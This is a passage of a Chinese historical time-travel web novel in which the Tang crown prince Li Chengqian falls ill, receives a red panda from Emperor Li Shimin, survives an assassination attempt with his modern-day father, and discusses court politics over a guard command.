这是在下逐客令,李世民看了眼李承乾没有血色的脸,他知道李承乾身体真的难受。 “昨日庆功宴去,大家一片好心办了坏事,实在过意不去,这才来东宫看你。你无碍,我们也就不多留了,三省也有一堆要务等着朕去处理呢!” 如听仙乐耳暂明,照进现实版。 李承乾起身向皇帝拜了一拜,又向众人拱手,“酒后容易误事,我素来饮酒不过三盏。昨日一时尽兴,失了分寸,让诸公挂心了,往后段不会如此了。” 这是客套,也是敲打,灌酒这种事情,第一次不计较,但没有下一次,下一次别管是谁,一律不买账。 众大臣谈笑间应下,绝对没有下一次,灌酒万一把太子灌没了,始作俑者的皇帝只会觉得他们没分寸,没把事情办好,在座的有一个算一个,都讨不到好。 第204章 旧梦 曲终人散,东宫恢复了该有的宁静,李承乾饱饱的睡了一觉,黄昏时分才从榻上爬起来,宫人端了米粥过来,他勉强吃了半碗。 大抵是怕他推脱吃药,皇帝身边的张阿难亲自送到药,李承乾默不作声吃了。 日落西斜,李象从弘文馆回来。 黄昏,显德殿没有掌灯,殿内光线昏暗,李承乾迎上进殿的李象,示意孩子落座。 见殿内没有旁人,李象问出心中疑惑,“昨日庆功宴,阿耶,您受伤了吗?” 昨日晚间请安他就察觉到了异样,今日高家阿翁没有进宫,他就更加肯定了。 “殿内没有掌灯,阿耶是怕儿看到您憔悴的面容忧心,可即便不掌灯,您的憔悴也遮掩不住。” 遮掩不了,那就没必要遮掩,李承乾放下李象的功课,唤了宫人进来掌灯。 “宴会上的酒烈,没招架住劝酒,多饮了几杯,伤了脾胃,不是什么大事。” 李象半信半疑,也没有再问。 功课没有太大问题,领到备课,李象拜别父亲,他还要去丽正殿请安。 李承乾看了眼漏刻,算算时间,他也该去和皇帝请安了。 行至一半路程,大雨滂沱而至,李承乾慌忙钻到一处殿宇避雨,夏季穿的轻薄,只片刻功夫,身上的衣裳湿透。 夏季午后的对流雨,来的快,去的也快。 待雨停后,李承乾赶忙回东宫,换了衣服往甘露殿去。 “今日来的有些迟了,不过你身子不痛快,倒也不是什么大事。” 李承乾自觉鼻腔有些干干的,心下有了不好的预感,十有八九又要感冒了。 “父亲,没其他的事情臣先回去了。” 有事情,还是正事,不过看李承乾这个精神气,李世民决定先放人。 “明日在承天门前送文成公主出嫁,你回去早点歇着。” 李承乾点点头,起身告退离开。 吐血还在二十四小时之内,姜汤有刺激性,不太好喝,李承乾命人煮了一大锅姜汤,兑在水里沐浴驱寒。 兴许注定了要感冒,哪怕做足了预防功课,李承乾翌日一早,也没能从榻上爬起来。 夜半子时过后,身体起了高热,等到李承乾察觉到不适苏醒,高烧的他头昏脑胀,浑身酸软无力。 吴安等人赶忙请了侍医过来,看诊抓药,第一时间往甘露殿上报皇帝太子病了。 又病了,李世民对这个长子的身体,严重的忧心,这种体格,他担心这孩子就算没有过往那一遭都活不过他。 送嫁完文成公主,李世民借口身体不适,单方面终止早朝,朝服都没换就往东宫去。 李承乾高烧未退,宫人侍医乱作一团。 李世民探了下李承乾额头,骂道:“一群废物,枉食朝廷俸禄,连个风寒都治不了,朕养你们有什么用处?来人,将……” “父亲……” 李承乾喊了一声,摇摇头,意思是请皇帝不要迁怒侍医。 “是臣无用,药吃一碗吐了大半出去,总退不下热。” 恰在此时,宫人端药进来,李承乾眉心打结。 “喝一碗吐大半,那就喝一小半。” 李承乾嗓音沙哑,回应皇帝,“不是喝一碗吐大半,是吃进去的药总会吐一半出来。” 闻言,李世民愣在当场,李承乾唤了宫人过来扶他起身,尽管内心万般不愿意吃药,他还是端了碗过来,缓缓吃完。 不出意外,药吃进去不久,李承乾就吐了大半出来,原本惨白毫无血色的脸,在吐过药后,瞬间起了一层病态的潮红。 “怎么会突然起烧?这些个奴婢都是怎么伺候的你?” 李承乾道:“昨日不慎淋了雨。” “淋雨?” 李世民心头的火烧的更旺了,上次淋雨大病,怎么就不长记性? “谁近身伺候的太子,给朕滚出来。” “父亲……” 李承乾再次打断皇帝施法,“臣不喜身边有人跟着,出门大多不带人,不干他们的事情。” 着急解释,李承乾没忍住一阵咳嗽,刚吃进去的药被这么一刺激,又吐了一些出来。 李世民拍背帮李承乾顺气,吐完之后,李承乾目光空洞躺在榻上,有一下没一下的大喘气。 刚吃进去的药都吐完了,李世民转身吩咐宫人取药来。 又要吃药,李承乾本能的拒绝,翻了个身背对皇帝表示抗议。 “朕知道你不想吃,可不吃药,怎么退热?把你烧坏了,怎么是好?” 看李承乾不为所动,李世民挥挥手让众人退下,强迫灌药只怕适得其反,想到李承乾上一次淋雨闹出来的事端,他不由得脊背发凉。 “你不赶紧养好身子,高先生那里怎么瞒得住?他跨越时空也要来见你一面,你还要他走的不安心吗?” 提到父亲,李承乾等时如泄了气的皮球,皇帝好言相劝他要是不听,下一步父亲肯定会被请进宫。 李承乾右臂撑着床榻起身,李世民放下汤药扶了一把,复将汤药递给李承乾。 “慢慢的喝,别喝的太急了。” 胃里疼得如火烧一般,李承乾盯着那汤药,登时生了一股“风萧萧兮易水寒,壮士一去兮不复还”的悲壮。 李世民也不逼迫,静静坐在一侧陪着。 李承乾踌躇了半盏茶时间,最后还是喝完了汤药。 汤药下肚,一股针扎火燎的刺痛从五脏六腑向周身蔓延,李承乾脱力一般倒在榻上,浑身蜷缩成一团。 “朕让人煮了安神汤,你喝一些也好睡一会儿。” 李承乾额头直冒冷汗,不知是高热发汗,还是胃疼所致。 “父亲,您还在喝那安神汤吗?我不是告诉过您,那安神汤别喝了吗?那里头的铅丹、密陀僧有毒,长时间喝要出人命的。” 李世民叹气,白日里累一天,晚上回去却整宿的睡不着觉,哪怕知道安神汤有毒,很多时候也只能饮鸩止渴。 “听你的,往后不喝那安神汤了。你好生躺着,别再说话浪费体力了。” 李承乾应声点头,他也不知道自己最后是怎么睡下,过往的记忆纷至沓来,漫长而复杂…… 几十世轮回,发疯的,受刑的,被溺死的,被分尸的…… 第205章 小熊猫 乱七八糟的一堆旧梦,还都是些不好的回忆,李承乾脑袋都要炸了。 数次被噩梦惊醒,李承乾不想继续睡,眼皮却又困的不行,不受控的睡下。 梦境戛然而止时,李承乾察觉到一双大手抚在额头上。 “总算是退了热,真的吓坏了朕。” 李承乾缓缓睁开眼睛,声音沙哑的更厉害了,问道:“什么时间了?” “申时了。” 李世民一边回答,一边招手宫人进来,“侍医过你要是醒过来,进膳结束两刻钟后再进药。” 李承乾点点头,饭后半个小时吃药,古今大同小异。 李世民驱散宫人,陪李承乾用膳,“做噩梦了?” 李承乾点点头,轮回中好的没梦到,凄风苦雨梦了一堆。 皇帝能这么问,他应该是没说什么乱七八糟的东西,他心下松了口气。 “你梦中不断呓语,一直说‘别过来、别碰我、不要打我、好疼之类的……’” 此前他们龃龉,他打过几次李承乾,没想到成了李承乾的梦魇,李世民于心不忍。 “是为父不好,吓到你了。” 李承乾顿了一顿,猜到了是皇帝想多了,他道:“是轮回中的一些事情,有很多不太好的记忆,同您无关。” “原来是这样,朕……” 李世民的话被李承乾突如其来的咳嗽打断,吓得赶忙放下汤碗,上前替李承乾拍背。 李承乾咳了几声,渐渐止住,道:“只是呛到了,无大碍,有劳陛下挂心。” 李世民不住的叹气,“你也太不叫人省心了,昨日喝酒伤了脾胃,不好好养着去淋雨?” 李承乾道:“出门没拿伞,路过甬道下了大雨,臣尽全力躲了,可夏天穿的轻薄,还是给淋透了。” “那些秧苗没了就没了,承乾,你最重要。” 李承乾暗暗吐槽:他淋雨得时候,天都要黑了,看什么秧苗? “臣谨遵教诲。” 用过膳,李世民要回去批奏疏,吩咐了几句便离开东宫。 李世民离开,吴安进来伺候李承乾就寝,道:“殿下您可算是退了烧,奴婢一颗心到现在还悬着呢!” 李承乾表示理解,“伺候主上不易,我都知道,君臣一场,你们不曾背弃,我也尽量保全你们。” 现代社会伺候不好雇主,解雇或者罚款,只要不谋财害命,就是惊公,最多是损失些钱财。 古代奴婢是私有财产,找个合理的借口,打死了不违法。 李世民出了东宫,越想越忧心,遂向张阿难吐槽道:“东宫的奴婢,都是怎么伺候太子的?” 张阿难道:“奴婢问过东宫的奴婢,太子出门素来不喜人跟着,这一回是去请安的路上,突降大雨,躲避不及,回去之后就让人烧了姜汤沐浴。” 请安路上被雨淋了,李世民脸色有些耐人寻味,他刚才误会也不见李承乾解释,估计是怕解释了他尴尬。 “烧了姜汤沐浴,还高烧不退,他这个小胳膊小腿,朕都不敢带他去漠北了。” 漠北可不及长安,医药齐全。 张阿难安慰皇帝,“这只是一次意外,陛下且放宽心。” 李世民摇摇头,他宽心不了。 李承乾这一场病极伤元气,大半个月时间整个人都是恹恹的,哪怕高慎微进宫陪着,他也提不起精神来。 高慎微并不知李承乾喝酒吐血一事,只以为是风寒,心疼儿子却也没法子。 晨光熹微,清风徐来,十分舒爽,李承乾叫人将案几搬到亭子里,着手批改二世们交上来的策论。 父亲来了,李承乾抬手打发了宫人出去,吩咐无召不的入内。 “老爸,我是不是很没用?感冒这种小病,差点儿单杀了我。” 高慎微笑道:“也就是二十一世纪之后,大量农民工进城,经济水平上去了,接触到好的医疗条件,感冒才被列为小病。 在此之前,对于落后地区的乡村人口来说,感冒都不是什么小病。 感冒发热,烧到婴幼儿一命呜呼,聋哑痴傻的大有人在,我还见过成年人发烧,烧到胳膊腿残疾的。” 李承乾沉默片刻,“老爸不提醒,我都快忘了,感冒一直以来都不是小病。” 高慎微笑道:“你能撑过来很不错了,况且,想想那个在宿舍里,差点儿给被子单杀的大学生,你也没那么差。” 李承乾:…… “老爸,您这个例子,还不如不说的好。” 高慎微哈哈一笑,余光瞥见李承乾案上放的策论。 李承乾见状,向父亲道:“贞观将相天团二代写的策论,老爸有兴趣看看吗?” 高慎微上前拿过策论,看的是直摇头,“事业和教育,很多时候不能并重。” 科举和后世的考公其一个道理,都是为国取士,策论同后世的议论文差不多。 可以字迹不整,甚至可以写错字,考试时间有限,阅卷老师都能适当理解。 但是,对问题的分析一定要透彻、独到、全面,提出的解决方法一定要现实、可行。 “这些文章受魏晋文风影响颇大,要是选美文,就冲这些个典故,以及华美的辞藻,可评一个中上。当策论来看,真知灼见没几条,清一色在这里水字数。” 李承乾拉着父亲落座,亲自研墨,“我干的那这个破事儿,连累魏师傅被扑碑,李德謇也因为同我交情好被流放。 现下魏师傅和李师傅,都是我的老师,我就想着拉魏叔玉和李德謇一把,没成想那日陛下带了将相天团突袭,打了我一个措手不及。” 高慎微道:“我明白了,二代如何且不论,一代都还活跃政坛,位极人臣,能量巨大,为了平衡,你要端水。” 李承乾两手一摊,颇为无奈道:“小灶开的好好的,结果来了一堆人,您说这饭怎么吃?没法子了,只能改小灶为大锅饭了。” 养了二三十年的儿子,高慎微可太清楚高明是什么德行了,他接过高明递来的笔。 “改可以,改的不好别来唠叨。” 李承乾苦笑道:“您笔下留点儿情面,毕竟这些策论主人,背后都是大佬。” 高慎微笑笑,忍不住揶揄儿子,“我这都退休了,还得帮着你这个大孝子工作。” 李承乾直接上手,从背后搂住父亲脖子,不住的撒娇,活像一幅狗皮膏药,“老爸,我最近生病老可怜了,您都不心疼我了。” “李承乾,你一把年纪,要不要脸?” 李承乾慌忙抬头,一眼就瞥见皇帝手上提着笼子,笼子里是一只小熊猫崽崽。 第206章 有刺客 高慎微和李承乾父子慌忙起身迎驾,李承乾的目光锁在皇帝手里的笼子。 小熊猫啊! 有几个人可以拒绝小熊猫的诱惑? 小熊猫,保护动物,合法情况下,一般人有钱也养不了。 “父亲,这九节狼是给臣的吗?” 李世民没说话,上前在尊位上落座,笼子被他放在一旁。 李承乾急忙唤了宫人进来,重新添了座位。 “这会子您应该在上朝,怎么过来了?” “歇的久了,连今日休沐都忘了?” 李承乾默默吐槽:不上班儿,工作日和休息日有区别吗? “一个太子,尽做些不成体统的事情。” 一没偷,二没抢,给他扣了个不成体统? 李承乾猜出缘由,能理解皇帝,但配合不了,他归位捣鼓起了擂茶,时不时瞥一眼笼子里的小熊猫崽子。 “陛下,这九节狼是给臣的吗?” 刚才的那一幕,着实有些窝火,李世民懒得理会李承乾,反而将目光落在高慎微身上。 “朕方才进来时,听太子说,你要改这些策论?” 高慎微点点头,“高明想躲个懒,由着他吧!” “父亲,请用茶。” 李世民品着茶,坐了半晌,总算不那么窝火了。 “辅机去终南山脚下打猎,偶然猎来的,朕问他讨了来。” 皇帝这个理由,多少有些不走心,高慎微不知道该说什么,终南山有大熊猫,但没有小熊猫。 小熊猫在国内,野生的也就川滇藏地区能看到。 高慎微暗暗摇头,最后只能感慨,很多矛盾,完全就是自寻烦恼。 “承乾,要不要出去走走?” 李承乾顿了一顿,父亲在这里,他怎么可能出去? “高先生会骑马吗?” 高慎微点点头,“会一些。” 李世民道:“听承乾说,后世出行不用马,高先生无师自通?” 高慎微道:“高明幼时对骑马有兴趣,给他报了马术课,我和他母亲跟着一起学。” “出城走走如何?” 李承乾的心思在九节狼上头,并不怎么愿意出去,可看到父亲也有兴趣,他也跟着附和皇帝。 “陛下,这九节狼,臣摸一摸可以吗?” 李世民道:“好生养着,养不好朕饶不了你。” 李承乾大喜,当即就要打开笼子去撸小熊猫。 高慎微出声阻止,“高明,食肉目动物大部分都是携带狂犬病毒的,贸然上手它应激,伤到你就不好了。” 反应过来的李承乾,吓出了一身冷汗,这个时代可没有狂犬疫苗。 “你先养它一段时间,彼此熟悉,再上手抱它,摸它,它不至于应激,你也安全。” 李承乾点点头,唤来宫人,十分不舍的看着小家伙被带走。 大病初愈,李承乾本人不太适合剧烈运动,信马由缰的瞎转悠。 李世民和高慎微随着李承乾的进度,有一句没一句的闲聊。 野猪泛滥成灾,才长出来的庄稼幼苗,给祸害的不成样子,弄得百姓苦不堪言。 熟悉的场景,让李承乾想起了他的大学导师,听他导师说,上大学暑假回去,从玉米挂胡开始,基本没在家里睡过。 破旧的门板,田垄上做炕,日复一夜守着,就这,还阻止不了庄稼给野猪祸害。 其实,人要是用心思,弄死几头畜牲手到擒来,可架不住人家受法律保护。 举报伤害三有保护动物,一旦属实,会有金钱上的奖励。 两千年前后,举报伤害二级保护动物,有差不多五百块的奖励。 利益驱使之下,哪怕是朝夕相见的邻里邻居,也存在背刺。 所以,哪怕深受野猪祸害,老百姓苦不堪言,也没人敢用心思去打野猪。 那位导师的三叔,一条腿就是被野猪给弄废的,要不是守夜的人多,导师三叔说不定会被野猪咬死。 要是熊猫,李承乾还能理解,毕竟太少了,真的需要保护。 野猪,李承乾特别不理解,听他导师说,那个时候,大白天出门,看到一头大野猪带着一窝十来只小野猪招摇过市,都是家常便饭。 泛滥成灾的玩意,有啥好保护的? 还要把人的生存,排到这种泛滥成灾的野生动物后面,实在不知道是哪个脑残专家提出来的。 抬眼见父亲拉了个满弓,一箭射穿野猪咽喉,李承乾大为震惊,十分不解。 李世民一连射出两箭,解决了另外两头。 “老爸,我怎么不知道,您老人家还会这一手?” 高慎微道:“我参加工作那地方,上级要求科员要下基层考察,驻村三年。 每到庄稼上浆,马铃薯、红薯成熟的时候,泛滥成灾的野猪着实是个祸害。 国家禁枪,我也是没法子,找老师傅做弓箭,组织村里青壮年,练习射箭,投标枪,捡起了老祖宗的东西自保。” 李承乾道:“野猪不是三有保护动物吗?” 高慎微道:“那是千玺年后的事情,九十年代它还不在保护序列。” “这一场病伤人的很,胳膊没力气,不然的话,我也要拉弓搭箭上个分。” “上分?”李世民满脸疑惑,看着李承乾,“上次承乾回来,说什么青雀没上成的分,雉奴上了把大的,这个上分是什么意思?” 李承乾道:“竞技游戏里面打排位赛,把对方的游戏角色全部打死了,赢得比赛,就会加分,俗称上分。” 后面的话不用说了,李世民秒懂,承乾被废黜之后,青雀为了夺嫡,说了杀子立弟的话,结果最后弄巧成拙,没做成太子。 雉奴做了皇帝之后,武后掌权,举起屠刀,儿子、兄弟、叔伯、母舅、沾亲带故的亲戚,主打一个众生平等,所以说青雀没上成的分,雉奴上了把大的。 承乾那个兔崽子,是知道怎么讽刺人的。 “老爸,您在现代,经常陪另一个我打游戏吗?” 高慎微点点头,“初来乍到,他对什么都感兴趣,我和你老舅,有时间带他玩儿。” 李承乾道:“他玩儿的怎么样?” “你想知道吗?” 李承乾忙不迭的点头,“老爸,别吊着我,您知道的,卡牌类游戏我手气臭的很,也就这种操作性强的竞技类游戏我能玩儿一下。” 高慎微清了清嗓子,吐出四个字来,“人菜瘾大!” 李承乾:…… 一支箭矢破空,从李承乾耳畔擦过。 李承乾暗道好险,差一点被爆头。 李世民率先反应过来,有刺客! 第207章 遇刺 “有刺客,小心……” 话音未落,又是一箭过来,李世民拔刀打掉了。 “下马!” 马上杀敌固然可以居高临下,但对方人多势众,马中箭,骑在马上的人就十分危险了。 高慎微此刻也反应过来了,活了这么多年,还是第一次遇到这种事情。 李承乾没带武器,显得十分被动,就是不知道被刺杀的主角,是他还是皇帝。 不对,不管被刺杀的主角是谁,皇帝站在这里,这就是刺王杀驾,满门抄斩的大罪。 两箭落空,周遭环境陷入可怕的寂静。 箭矢来自不同的方向,刺客不止一个,贸然行动只会更加危险。 三支箭破空打破寂静,李世民和高慎微出了奇的一致,将李承乾护在中心。 无论是李世民还是高慎微,此刻都处于高度戒备的状态。 论单兵素质,这二人都有自信可以杀出重围,可眼下三个人,他们就必须顾忌些了。 又是三支箭矢飞来,基本确定刺客只有三人。 “承乾,你不要乱跑乱动,既是刺杀,箭矢很可能有毒,中箭可不是闹着玩儿的。” 第一次遇到刺杀,李承乾一颗心提到嗓子眼。 “您二位别管我,保护好自己。” 李世民:“三条杂鱼,想要老子的命,美的他们。你少说话,别打乱我们的心神。” 又一支箭矢飞来,李世民徒手抓住,拉弓朝箭矢飞来的方向射了一箭。 眼看暗箭偷袭不能拿人头,隐蔽在掩体后面的刺客一拥而上,李世民等的就是这个机会。 李世民将自己的弓箭塞给李承乾,道:“出来五个,保不齐还有,姓高的,你别乱跑,保护好承乾。” 话音未落,李世民就提刀冲了上去。 事实如李世民预料,他才同那五个刺客打到一起,就有另外五人上来围攻高慎微。 第一次杀人,高慎微有些不适应,可白刃近在眼前,他也顾不得许多,不拼杀只有死路一条。 李承乾心下一沉,看这个样子,要么被刺杀的主角是他,不是皇帝。 要么就是车轮战,分批出战,消耗他们力气的同时,也寻找他们进攻或是防守的破绽。 “高明,零点钟方向有人,小心。” 闻言,李承乾挽弓搭箭,果然见正北方一黑衣人冒头,箭矢离弦,正中刺客眉心。 李世民已经斩落两个刺客,与此同时,又是一批刺客冲出来,加入同李世民的战斗。 “高明,七点钟方向。” 李承乾偏过头一看,吓出了一身冷汗,那刺客已经拉了满弓,箭矢正对皇帝,皇帝与人缠斗,只怕不好躲开。 “父亲,正南偏左,有人向你放冷箭。” 李世民变换走位,李承乾当即射出一脚,穿了那刺客的脖子。 李世民看在眼里,心下欢喜,承乾身体武事不太好,倒也还能看得过去。 就在此刻,也有一支箭对准了李承乾,只不过准头不行,只是射中了李承乾头上的银冠。 “承乾/高明……” 李承乾心下一沉,刺客要刺杀的人不止皇帝一个,还有他李承乾。 又是三队五人刺客冲出来,两队向李世民和高慎微靠拢,另一队直逼李承乾。 这真是避无可避,李世民见状,一路砍杀出去,往李承乾的方向去,高慎微见状,也跟着李世民的步调走。 他们二人都清楚,李承乾的拳脚功夫不过关,根本应付不了这些训练有素的强人。 这一路砍杀过来,地上横七竖八躺了好几具尸体,高慎微顺手捡了一把刺客的刀丢给自家儿子。 “父亲,老爸,他们是河北的人。” 李世民道:“你怎么看出来的?” 一时解释不清楚,李承乾思量片刻,决定赌一把,他一边挥刀应付刺客的攻势,一边高声说。 “夏王心系百姓,仁慈众生,降唐亦是心服口服,尔等莫要为奸邪所惑,做下令夏王寒心之事。” 窦建德? 李世民愣了一愣,这人都已经死了很多年了。 “今上曾力保夏王,杀他的人是息隐王李建成和海陵刺王李元吉,莫要寻错了仇,让夏王九泉之下不安。” 刺客迟疑的瞬间,又有五具尸体倒地, 李承乾一刀格挡,躲开攻击,高慎微顺势挡到李承乾面前,李承乾继续魔法攻击。 “武牢关一战,今上曾将自己的披风赠予夏王御寒,英雄相惜,夏王同今上是相见恨晚。” 很好,就这么一瞬的功夫,李世民和高慎微已经砍倒七个人。 “夏王义薄云天,尔等为奸佞所惑,助纣为虐,戕害百姓,且问尔等,置夏王于何地。” 这个间隙,李世民和高慎微又砍倒了三个,李承乾也砍倒了一个。 兵戈击打间,只听的的一声口哨,余下四五个刺客迅速撤离。 “你怎么知道那是河北的人?” 李承乾累的几乎脱力,一屁股跌坐在地,喘着粗气,“说话的口音,为首的只说了一个‘上’字,我听着像,并不能确定,赌了一把,没成想赌对了。” 李世民道:“为何你那么肯定和窦建德有关?” 李承乾道:“父亲有所不知,窦建德出身草莽,仁爱百姓,在老百姓之间有口皆碑。 河北一直都有夏王庙,百姓世代供奉,中晚唐之后,河北地区数次起义,都是打着为窦建德复仇的旗号。” 李世民擦拭着陌刀,脸色异常凝重,高祖诛杀窦建德他是极力反对的,可哪怕他费尽唇舌,高祖依旧处死了窦建德。 细想其中缘由,无非他与李建成双龙夺嫡,他战功赫赫,力压李建成,高祖为了维持平衡,有意打压他,所以对他的进言视而不见。 “走,回宫!” 今日出门没带侍从,险象迭生,李世民很是后怕,他对自己有十足的信心,今日的被动,完全是因为李承乾这个小崽子。 李承乾,李承乾出门素来不带人,这个习惯不好,哪天遇到刺客,怎么死的都不知道。 “可惜没留下活口,不然的话,必要问出幕后主谋是谁。” 第208章 套路 李世民紧皱着眉头,刺客明显冲着他和李承乾去的,他和李承乾没了,大唐下一任皇帝无非李泰和李治。 “承乾,你说背后的主谋会是谁?” 帝王多疑,从来手足骨肉都是可以直接威胁皇权的。 送命题,李承乾一颗心瞬间提到嗓子眼儿。 眼下他和皇帝,一种近乎诡异的宁静,妻子临盆在即,他可不愿意打破这份宁静。 “父亲与臣若有万一,朝中必定会大乱。朝廷势弱,异族就可以趁势崛起。父亲,这么些年,被大唐灭掉的那些国家,从来都是不曾放弃过复国。” 有可能是异族,但这不是李世民想要的答案,他继续问道:“除开异族,还有呢?” 李承乾思索片刻,“世家大族,修订《氏族谱》,旧族被压了身份,赐姓一事,父亲又将京城的卢家连根拔起。这些世家大族延续数百年,不甘心受到打压。明着不敢同朝廷作对,暗地里动些手脚也不是不可能。” 李世民勾起一抹冷笑,问道:“还有呢?” 李承乾道:“说不定真的是窦建德旧部,受了窦建德恩惠,要给窦建德报仇。燕赵之地百姓,自古善战,灭秦六国,以燕赵之地的老百姓,抵抗最为激烈。大唐一统天下,父亲在北方战场上,惨胜刘黑闼,都足以说明燕赵之地是一块儿硬骨头。 自先秦以来,燕赵之地就常受戎狄侵扰,为了抵御外敌,异姓同胞并肩作战,虽非骨肉血亲,却胜似骨肉血亲,他们将义气看得比忠心更重要。父亲,您是军旅之人,想来比臣更加明白,长期生活在这样的环境之后,千年传承,会孕育出一群怎样的百姓。” 李世民看了眼承乾,沉默半晌,“还有呢?” “还有?” 李承乾沉默片刻,正色回答:“还有谁,父亲心中有疑惑,就让百骑司去查,把自己的疑惑解了。或者,当做什么事情都没发生过,只道是出门没看黄丽,倒了运。 臣也险些丢了命,活口一个没抓到,空口无凭,父亲要臣说什么?臣又能说什么?若今日遇刺的是阿翁与父亲,问话的是阿翁,回话的是父亲,父亲要怎么回答?异族、大族和昔日仇敌之外,还有谁会刺王杀驾?” 李世民一时无言,李承乾继续输出,“若今日遇刺的是阿翁与父亲,此刻父亲心中的疑惑也定是阿翁心中的疑惑,若阿翁追问父亲,父亲能不能明言?” 李世民久久不语,青雀能说得出杀子立弟的话来,心狠手辣可见一斑,他真的怕今日的刺客,背后的主谋是青雀。 李承乾道:“看样子,于情于理,父亲也不能同阿翁明言。那么,推己及人,父亲何苦为难臣呢?” 李世民苦笑,轻拍李承乾肩膀,“是为父想的不周到,这种问题,你的确不好回答。” 不说是不忠,君臣离心;说了是不义,兄弟阋墙。 出了刺杀的事情,李世民心情十分沉重,动手的是窦建德旧部之后,可背后之人多半是大族,而他最不愿意看到的就是大族蛊惑他的骨肉对他动手。 李承乾有一种劫后余生的喜悦,他武事不行,可有幸看着大佬厮杀,一往无前,真的十分热血沸腾。他决定了,回去一定要下功夫练武。 高慎微最为平静,李世民逼问高明,他一直没有开口,就是相信高明应变危机的能力。 进承天门之后,李承乾突然开口:“父亲,您打算给尉迟宝琳个什么官儿?” 出了刺杀这档子事情,的确需要一个武功高强的人保护李承乾,“尉迟宝琳太嫩了,我让敬德带着尉迟宝琳,贴身保护你。” 皇帝误会了,李承乾赶紧解释,“臣想找个人陪臣练武,宝琳挺合适得。” 李世民欣慰点头,身边人武功再高,终究不及自己武功高。 “你这榆木疙瘩终于开窍了。” 李承乾暗暗腹谤:你才榆木疙瘩,你全家都是榆木疙瘩。 “你要尉迟宝琳,那就让尉迟宝琳做你的右屯卫中郎将。” 右屯卫中郎将,东宫的禁卫军首领。 李承乾心下难言,换作刚来那会儿,皇帝把这样重要的职位给他的心腹,他立马谢恩。 “父亲,此事容后再议吧!” 李世民暗暗摇头,“不是试探你,朕拉尉迟宝琳就是看中了他直率认死理的性子,能够死忠于你。” 李承乾道:“臣知道,只是如此一来,东宫就真的拥有了可以威胁太极宫的力量。” “这不是挺好的,方便你走玄武门,你不用走玄武门,你可以走通讯门,更方便。” 李承乾正色道:“臣一直在想,为何古往今来皇帝的第一任太子都难以善终。” 李世民道:“你现在想清楚了?” 李承乾点点头,“皇权是独断的,不可分割得,可一个庞大的帝国,它的继承人必须从从小培养,这就使得皇权必须作出分割。权力被分割,就是一种威胁。 所以,无论太子有没有实力,只他储君的身份,就是对最高皇权的威胁。父亲,今日这一场刺杀,过后,您会不会怀疑是臣欲盖弥彰,安排的呢?” “李承乾!”李世民脸色有些难看,“你是不是欠打?” 李承乾平静道:“父亲,眼下臣没有威胁到太极宫的实力,你我父子尚可以和平相处。倘或臣有了这个实力,您能真的心无芥蒂吗?” 李世民道:“承乾,为父没有试探你,是真心下放权柄。” 李承乾道:“臣知道,秦王的荣耀和尊贵,阿翁也是真心给的,最后结果如何?父亲,若您真的要赋予臣这个权柄,那么往后有人说臣图谋不轨,您能坚定信臣吗?” 右屯卫中郎将掌兵权,能够壮大他的实力,可这个职位有威胁太极宫的潜在危险,却又没有绝对的实力稳压。 他要了这个权柄,一旦皇帝发神经,他就跟皇帝对上了,皇帝收拾他,手拿把掐的。 权柄他一定要,但古人三辞三让的优良品德必须传承。如此,哪怕皇帝发神经,他也能在舆论上跟皇帝对线。 绝对的实力面前,舆论的作用并不大,可皇帝是李世民,好面子,舆论的含金量就可以稍微提那么一点点。 第209章 刻板印象 皇权之下谈信任,那是笑话,李世民不觉跟上李承乾的步伐,一同往东宫去。 李承乾暗叫乖乖,他就想给自己拉一波舆论,可不想把这祖宗带回东宫。 到显德殿,李世民才在主位上落座,便似笑非笑看着李承乾,“承乾,你如今行事愈发的妥当了。” 三辞三让被看破了,李承乾并不觉得有异,他玩儿的这些,都是皇帝玩儿过的,皇帝就算没玩儿过,也有一堆人跟皇帝玩儿过了。 “父亲,您曾经抬举青雀欲取代臣,所以您不值得臣信任,臣为了自保组织谋反,同样不值得您信任。你我父子之间,存在很强的信任危机。” 李世民道:“既然知道,你就不应该玩儿这些小把戏。朕给你的,你大大方方的要。” 李承乾道:“窦建德在河北的威望,阿翁怎会不知?若窦建德不死,对父亲心悦诚服,由窦建德出面,安抚河北,招降刘黑闼,若能成对大唐来说其好事,对阿翁未必是好事。 阿翁担心父亲功高噬主,哪怕知道杀窦建德会带来一系列的问题,仍然杀了窦建德,父亲太强,他本能的偏向势弱的息隐王和海陵刺王。” 李世民道:“你担心朕猜忌你,不好拿你开刀,伤了你的臣属。” 李承乾道:“权力的游戏素来如此,它就像一股洪流,父亲和臣,以及朝中的大臣身处洪流之中,站在潮头之上,风光无限也险象迭生。每一步抉择,都要权衡利弊,细想之下,谁又不是被裹挟出来的选择? 父亲,臣的确有那么些虚伪,却也是真的怕受了权柄,后被权柄裹挟,牺牲掉无辜的人。当年臣怕被废黜,极力拉拢势力,朝中却没什么人支持,为了自保不择手段,什么乱七八糟的人都往东宫里拉,那些人多没什么德行,父亲杀了就杀了。父亲不杀,臣得势之后,一样会处置掉他们。 臣已经不是当年的承乾了,如今能被臣引入东宫的人,不仅要具备能力,还要有德行,行事至少要有底线。甚至,他们当中,有一些还是臣的门生。他们入仕之后,因为能力不足或德行有亏,被贬黜或者处死,也算死得其所,可若死在权力倾轧之下,那太可惜了。” 李世民听罢,盯着李承乾看了许久,突然朗声一笑,“敬德我另作他用,尉迟宝琳接任右屯卫中郎将一职,你记住一句话,朕会为你摆平朝中的麻烦,不会让你忍气吞声,更不会让你去得罪人。” 李承乾躬身拜下,“谢父亲!” 李世民走上前,意味深长的拍了拍李承乾的肩膀,一句话也没说,默默往殿外走。 送走皇帝,李承乾迫不及待去宜春苑看小熊猫,小熊猫,未来的三有保护动物,可远观不可亵玩的大宝贝。 刚出门,之前养得那只小狸花就凑了上来,李承乾弯腰将小猫抱在怀里,蹭了又蹭。 小熊猫在笼子里啃竹叶,有些怕人,李承乾才往前凑了一步,尾随而来的小狸花不干了,对着小熊猫不停的哈气。 初来乍到的小熊猫,眨巴着大眼睛,呆愣愣的看着小狸花,李承乾心疼的很,伸手去扒拉哈气的小狸花。 李承乾才伸出手,小狸花翻出肚皮,在地上大滚儿,喵喵的叫个不停,他在一只猫脸上看到了谄媚。 逗完小狸花,看完小熊猫,李承乾顺路拐到了丽正殿,太子妃再有两个月临盆。 孕晚期浮肿的厉害,皮肤暗黄,满脸的憔悴,妆容都遮不住一点,太子妃更不愿意见李承乾了。 李承乾也不强求,隔着屏风说了会儿话,便离开丽正殿,回显德殿睡觉,一日的惊心动魄,他实在是累极了,整个人沾床就睡。 翌日起床去上朝,两只胳膊稍微一动就疼得人直哆嗦,李承乾强忍不适,换好朝服去上朝。 “太子殿下,您这气色不是很好。” 